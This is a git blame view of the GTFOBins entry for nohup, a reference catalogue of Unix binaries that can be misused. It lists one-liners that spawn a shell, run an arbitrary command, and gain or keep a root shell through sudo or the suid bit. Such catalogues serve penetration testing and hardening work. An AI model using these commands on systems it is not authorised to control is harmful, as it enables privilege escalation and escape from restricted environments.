GTFOBins.github.io/_gtfobins/nohup.md

15 lines
339 B
Markdown
Raw Normal View History

2020-03-15 07:24:44 +01:00
---
functions:
2020-03-15 12:15:43 +01:00
shell:
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
2020-03-15 07:24:44 +01:00
command:
- code: |
2020-03-15 12:14:02 +01:00
COMMAND='/usr/bin/id'
2020-03-15 07:24:44 +01:00
nohup "$COMMAND"
cat nohup.out
sudo:
2020-03-15 12:15:43 +01:00
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
suid:
- code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
2020-03-15 07:24:44 +01:00
---